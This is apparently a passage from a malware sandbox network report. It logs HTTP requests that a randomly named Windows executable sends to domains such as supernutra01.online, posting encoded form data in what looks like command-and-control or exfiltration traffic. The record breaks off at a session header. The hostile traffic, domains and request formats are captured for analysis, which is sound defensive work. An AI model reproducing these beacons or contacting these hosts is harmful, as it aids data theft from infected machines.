                                                            Data Raw: 4b 74 3d 44 65 77 72 42 73 32 6d 54 39 6c 6d 70 78 38 68 35 53 77 2f 4e 68 77 56 4e 68 70 4b 51 32 54 4a 50 78 31 6e 73 33 67 4f 41 69 63 6f 62 41 75 71 61 37 73 48 51 51 4e 7a 79 69 46 51 76 62 69 2b 39 2f 4b 37 72 47 51 56 4d 6d 73 70 42 79 54 65 73 53 7a 50 6f 6d 6f 4d 4b 55 72 52 73 41 4d 76 75 39 6d 71 4a 44 49 49 76 37 45 4a 4d 4f 6a 6a 76 54 79 59 51 76 61 63 51 75 6c 45 67 38 63 63 36 70 77 77 41 71 37 72 65 52 76 69 67 4e 62 45 63 64 63 69 77 59 65 61 4c 73 6c 50 46 51 65 4b 72 6d 7a 70 49 61 76 4e 6b 47 45 51 6c 52 4d 39 48 77 44 48 76 44 6f 57 77 4e 6b 6a 76 64 4a 6c 55 4a 75 77 5a 74 70 79 41 33 4d 54 58 58 70 4a 4c 56 7a 37 61 2b 73 73 79 4f 4e 5a 68 56 67 6c 41 73 57 30 56 74 76 77 63 58 70 76 47 54 7a 48 37 44 64 4b 45 37 6d 4e 33 61 44 57 32 6d 75 2f 54 6a 2b 71 66 36 4c 45 63 4b 2b 76 52 39 79 7a 57 75 34 35 45 4a 43 46 62 79 71 45 30 2b 44 51 6d 44 77 78 75 79 47 6f 4d 42 41 6c 73 41 56 35 45 51 71 57 54 74 68 52 71 56 65 6d 35 32 33 4d 6a 72 31 47 38 4f 78 58 4a 62 4d 33 63 42 50 [TRUNCATED]
                                                            Data Ascii: Kt=DewrBs2mT9lmpx8h5Sw/NhwVNhpKQ2TJPx1ns3gOAicobAuqa7sHQQNzyiFQvbi+9/K7rGQVMmspByTesSzPomoMKUrRsAMvu9mqJDIIv7EJMOjjvTyYQvacQulEg8cc6pwwAq7reRvigNbEcdciwYeaLslPFQeKrmzpIavNkGEQlRM9HwDHvDoWwNkjvdJlUJuwZtpyA3MTXXpJLVz7a+ssyONZhVglAsW0VtvwcXpvGTzH7DdKE7mN3aDW2mu/Tj+qf6LEcK+vR9yzWu45EJCFbyqE0+DQmDwxuyGoMBAlsAV5EQqWTthRqVem523Mjr1G8OxXJbM3cBPurlnLf6+Y5NMZdvyp3kF7qwAoqWFpPCa3wxqhkutS9jqCnSsJOxMTAlk1gCgTsXM6icbxZRWCFbH9RNv0vO/g4fU8OvI8mB+frQDbcLF8PVlNvDk2H2QlNcYJ9Nk/rF5FeIDnr9F0XSPoVSDmmH0L301IntdBhtIJHV0c15yA4Uq/pYp2HFvDeofNz5VHtCzdinPyEXZnZXwLJM7QExqI9waS6+JNNdiKPoEIuiKwSLW4rKiSvmQ2Cm09+b5vGoAvIZ3JKA+VxDeWP/XrKRxUvgM9AKPlnFm1FLDgPP/KsfneJoKq3UpwY14J07m91Vj7uyz+EJwzMyO9Yzzn/7R9nKM7JvV7FWmrxyVpOjLfKQgAyDcqnMaUOvEU2+qhBWKNX4YY+8evBOlSUzPPsh+Ze1rHvQLiRNvcpYQbtHR3ZOX2DMEIgK18wMeDeQTJGBN9T/C6NfUkv2VaJwztZ2kLbpGUHydrnKG4x3Qbb9wvgRREmIdZjm1dc2BHt/NY+ej2G8LJ5nIkeb/lw3uftYnxShjEy7jRcaRgajYbwB5pKxFxrqb0zvF7uz/a/2PxKwXzKzp3vcpMp25SmmatF1ZHdytICfOXS+CcmPHDyRknISzEtZUW+QPwS4h9Wn3Q88bpAm5nG7PXoUs4ByhKe0YMSGG0EjzyThJtE [TRUNCATED]
                                                            Nov 29, 2024 10:20:03.438901901 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:03 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            4192.168.2.54987943.205.198.29802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:04.530349016 CET455OUTGET /6pwo/?Kt=OcYLCa3XOMtt+Rsv8j1JEBYyKSs2FBnaDgwcqG8KHHMgaFOqYIh5VwBJiTVI7K2l1+vZ/nsgVnM6ADXGg1ablTlmJmuwniwIktG0LR4Vta4YHqbD/D+6Yb2LW4lToPNN+g==&ej=DjJHGh2p HTTP/1.1
                                                            Host: www.1secondlending.one
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Connection: close
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Nov 29, 2024 10:20:06.000758886 CET691INHTTP/1.1 404 Not Found
                                                            Server: nginx
                                                            Date: Fri, 29 Nov 2024 09:20:05 GMT
                                                            Content-Type: text/html
                                                            Content-Length: 548
                                                            Connection: close
                                                            Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                            Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            5192.168.2.549894104.21.24.198802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:11.454353094 CET731OUTPOST /rk61/ HTTP/1.1
                                                            Host: www.supernutra01.online
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 203
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.supernutra01.online
                                                            Referer: http://www.supernutra01.online/rk61/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 31 4c 32 50 35 58 56 74 76 35 41 79 46 35 50 6e 72 62 43 54 6c 58 44 4c 36 6e 5a 47 4d 74 74 6f 45 73 39 75 79 4f 47 74 48 4f 59 70 6c 34 44 41 6a 7a 36 53 53 49 2f 69 58 42 75 30 71 41 71 2b 70 47 5a 57 2b 57 34 70 39 6e 63 50 42 62 62 64 37 35 51 49 51 6d 52 52 34 68 69 41 2f 6c 6c 7a 49 69 47 4b 2b 6c 4a 5a 4b 69 67 30 48 4f 49 76 46 36 34 6b 2f 4e 6e 36 69 4c 6d 73 5a 6c 44 35 47 4f 31 7a 33 48 37 69 66 74 53 31 44 71 33 4c 6e 57 74 36 45 53 75 55 6d 42 50 62 68 4f 6e 44 72 50 5a 71 46 48 77 76 64 65 4c 4c 36 76 51 69 4c 76 73 76 57 4f 56 35 31 6c 7a 76 79 45 65 6e 33 57 33 6c 2b 6a 49 3d
                                                            Data Ascii: Kt=1L2P5XVtv5AyF5PnrbCTlXDL6nZGMttoEs9uyOGtHOYpl4DAjz6SSI/iXBu0qAq+pGZW+W4p9ncPBbbd75QIQmRR4hiA/llzIiGK+lJZKig0HOIvF64k/Nn6iLmsZlD5GO1z3H7iftS1Dq3LnWt6ESuUmBPbhOnDrPZqFHwvdeLL6vQiLvsvWOV51lzvyEen3W3l+jI=
                                                            Nov 29, 2024 10:20:12.810666084 CET1236INHTTP/1.1 405 Not Allowed
                                                            Date: Fri, 29 Nov 2024 09:20:12 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=1euhX%2BA7QgooN676oefSfpgqRNX4%2BjuWjqw%2B9xHEbv68vAchs3WJw36hZM4sOoQddYnmMbQOZeH9y08eO9UANx7LdnHG10uAvSnlU0m5U4ZtUCSpJhyt3i7qR4UgFZIRj4HCgOoz3S7GBg%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea1853d8ac4c35e-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1638&min_rtt=1638&rtt_var=819&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=731&delivery_rate=0&cwnd=57&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                            Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED]
                                                            Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disab
                                                            Nov 29, 2024 10:20:12.810700893 CET118INData Raw: 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72
                                                            Data Ascii: le MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            6192.168.2.549901104.21.24.198802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:14.155108929 CET751OUTPOST /rk61/ HTTP/1.1
                                                            Host: www.supernutra01.online
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 223
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.supernutra01.online
                                                            Referer: http://www.supernutra01.online/rk61/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 41 70 6c 64 2f 41 69 79 36 53 52 49 2f 69 66 68 75 74 30 77 71 44 70 47 64 65 2b 53 34 70 39 6a 30 50 42 66 58 64 37 4b 34 58 42 6d 52 66 78 42 69 56 69 56 6c 7a 49 69 47 4b 2b 6a 6c 2f 4b 69 6f 30 47 2b 34 76 58 76 59 6c 6a 64 6e 35 31 37 6d 73 64 6c 44 39 47 4f 31 56 33 46 65 48 66 75 71 31 44 76 4c 4c 70 6a 42 35 4c 53 75 53 37 78 4f 2f 78 63 6e 4c 68 4f 31 7a 49 42 78 72 45 2b 54 58 32 35 68 49 52 4e 6b 48 46 75 35 42 6c 32 37 59 6a 30 2f 4f 74 31 6e 56 67 30 63 38 30 6b 36 49 54 58 36 47 4a 62 65 52 46 57 4d 75 4e 54 35 56
                                                            Data Ascii: Kt=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4Apld/Aiy6SRI/ifhut0wqDpGde+S4p9j0PBfXd7K4XBmRfxBiViVlzIiGK+jl/Kio0G+4vXvYljdn517msdlD9GO1V3FeHfuq1DvLLpjB5LSuS7xO/xcnLhO1zIBxrE+TX25hIRNkHFu5Bl27Yj0/Ot1nVg0c80k6ITX6GJbeRFWMuNT5V
                                                            Nov 29, 2024 10:20:15.453742027 CET1236INHTTP/1.1 405 Not Allowed
                                                            Date: Fri, 29 Nov 2024 09:20:15 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=CksaupbVFmj3IqDwGX5nXlqwDdOppVd5wvqTi2Hu1MC%2FWyvXhTDEeVb3x%2BlCI%2BlaQZkKnDe25crCPuPfh085SjH%2FNsj%2Bj1iAmSmSUm9mMGcSWYAqvWD%2FUBv4qPc3IGl0GOmCOV68iTJq1Q%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea1854e38fd8ca2-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=1809&min_rtt=1809&rtt_var=904&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=751&delivery_rate=0&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                            Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED]
                                                            Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding t
                                                            Nov 29, 2024 10:20:15.453763962 CET125INData Raw: 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20
                                                            Data Ascii: o disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            7192.168.2.549907104.21.24.198802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
                                                            Nov 29, 2024 10:20:16.847640991 CET1768OUTPOST /rk61/ HTTP/1.1
                                                            Host: www.supernutra01.online
                                                            Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
                                                            Accept-Language: en-us
                                                            Accept-Encoding: gzip, deflate, br
                                                            Content-Length: 1239
                                                            Cache-Control: max-age=0
                                                            Connection: close
                                                            Content-Type: application/x-www-form-urlencoded
                                                            Origin: http://www.supernutra01.online
                                                            Referer: http://www.supernutra01.online/rk61/
                                                            User-Agent: Mozilla/5.0 (Windows NT 6.2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/43.0.2357.134 Safari/537.36
                                                            Data Raw: 4b 74 3d 31 4c 32 50 35 58 56 74 76 35 41 79 45 5a 2f 6e 74 36 43 54 67 33 44 49 6d 33 5a 47 43 4e 74 73 45 73 78 75 79 4c 69 39 48 34 49 70 6c 76 6e 41 6a 52 69 53 51 49 2f 69 56 42 75 77 30 77 71 53 70 47 6c 61 2b 53 39 53 39 6c 77 50 43 36 4c 64 39 37 34 58 49 6d 52 66 38 68 6a 79 2f 6c 6c 6d 49 69 57 4f 2b 6a 56 2f 4b 69 6f 30 47 39 67 76 48 4b 34 6c 68 64 6e 36 69 4c 6d 6f 5a 6c 44 5a 47 4f 74 72 33 46 62 79 44 4f 4b 31 44 50 37 4c 6c 78 35 35 47 53 75 51 72 68 4f 6e 78 63 71 56 68 4f 70 2f 49 42 74 52 45 38 44 58 31 50 46 55 4e 63 30 65 59 34 68 56 72 42 72 57 69 53 4c 71 71 32 37 55 68 44 4e 61 35 33 36 4c 64 58 43 56 63 6f 50 6b 5a 48 30 75 45 79 35 56 52 52 54 4f 2b 54 57 77 31 4c 51 64 69 78 2b 6c 4b 62 55 2b 30 2b 4d 46 78 74 46 32 79 55 6e 4f 35 68 2b 44 4a 76 35 68 66 34 62 63 78 6c 5a 35 4f 54 72 55 4f 2f 71 79 30 4e 6b 77 79 6f 69 66 62 32 63 51 55 64 49 4d 74 4c 6c 32 58 41 6c 52 76 64 61 32 65 2f 4a 66 63 62 6c 46 39 59 48 6c 7a 78 2b 56 69 6a 79 4a 66 41 78 5a 38 58 78 6d 78 51 50 [TRUNCATED]
                                                            Data Ascii: Kt=1L2P5XVtv5AyEZ/nt6CTg3DIm3ZGCNtsEsxuyLi9H4IplvnAjRiSQI/iVBuw0wqSpGla+S9S9lwPC6Ld974XImRf8hjy/llmIiWO+jV/Kio0G9gvHK4lhdn6iLmoZlDZGOtr3FbyDOK1DP7Llx55GSuQrhOnxcqVhOp/IBtRE8DX1PFUNc0eY4hVrBrWiSLqq27UhDNa536LdXCVcoPkZH0uEy5VRRTO+TWw1LQdix+lKbU+0+MFxtF2yUnO5h+DJv5hf4bcxlZ5OTrUO/qy0Nkwyoifb2cQUdIMtLl2XAlRvda2e/JfcblF9YHlzx+VijyJfAxZ8XxmxQPzZOZ4oulIsOOd7j3MMXh7K+1VyZxabsX248gTkW70v1FmtddmHRYff10kU2+f+gcD/vcDRoorxiGEJ2jLiGedvdzz3gyjh0QjCshxglf+QnCZV38N6nTqsRcVT905r/T7JHFWY8lY1KSJPU5fW7b+34HLiEG4e2nOC4TDcqdCPIeLagYWWurgI/lwFWyTdZnzFOKr2E0OCwg0hv5xGfHBNByU7jZrEvxAVEPdrvO1tSbyI8nnxtlzYuE7A9cESOlKoS7eROyZBRYaEM7Irz1Y/n4/Cs1dAC99iXpfkAgFd1PGDgwQWbrnwPW8vht9Ej//UJ34jYVjofhFgXMJ1IMuoq9a/xR4/XHYHGO3R8zVIWdJGxAOMZkBAwYHbxQBGcd/z5aHcrx7YkfRP/skNdS9v7E2tYUftZk9f0Yh3vg+V1ist8L29mSaAV98wDAq3DHMGsCv49AZhFf7drGDD+xESJXwHdw/NmiyjQE2hE2HHxKcjWWBwRDhi1KH1+zffXMbpzfGmxCgNB3vlfBzDXk8ffmZYenPBOcqW4FRj564sw5f3bp/09g+erS++PFrUr9d79G9cblLHafMI13Sf9wPu7b6SmXhTZ0I8z+IPYJU7kzk2DvasV5rSLPdWr4YS1NXfV62uyoiTIxKIKjVGzC97D1FbFiAKc1j/ [TRUNCATED]
                                                            Nov 29, 2024 10:20:18.149729967 CET1236INHTTP/1.1 405 Not Allowed
                                                            Date: Fri, 29 Nov 2024 09:20:17 GMT
                                                            Content-Type: text/html
                                                            Transfer-Encoding: chunked
                                                            Connection: close
                                                            CF-Cache-Status: DYNAMIC
                                                            Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=g6GLzCpPCKptZ8hSBCT442ku8nRbyWoibP1E1RAJUEqTDLLt7eYHR7G9WL1nuYMYgnvhnwD2R5ZlKqSgXE9Qj%2FtY4vIqhUZ4uWPA6PqDCIVrCfJWoSfTpphiPm9xI5Do5aPKDl8vtff4WQ%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                            NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                            Server: cloudflare
                                                            CF-RAY: 8ea1855f0dc64381-EWR
                                                            alt-svc: h3=":443"; ma=86400
                                                            server-timing: cfL4;desc="?proto=TCP&rtt=2034&min_rtt=2034&rtt_var=1017&sent=2&recv=4&lost=0&retrans=0&sent_bytes=0&recv_bytes=1768&delivery_rate=0&cwnd=204&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                            Data Raw: 32 32 66 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 35 20 4e 6f 74 20 41 6c 6c 6f 77 65 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 36 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED]
                                                            Data Ascii: 22f<html><head><title>405 Not Allowed</title></head><body><center><h1>405 Not Allowed</h1></center><hr><center>nginx/1.26.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disabl
                                                            Nov 29, 2024 10:20:18.149777889 CET117INData Raw: 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f
                                                            Data Ascii: e MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->0


                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                            8192.168.2.549914104.21.24.198802164C:\Program Files (x86)\IIqpseCyrSajLFfHYcBIzdMTvBjlbVrybrtymSdu\UaxTqwGUmcKB.exe
                                                            TimestampBytes transferredDirectionData
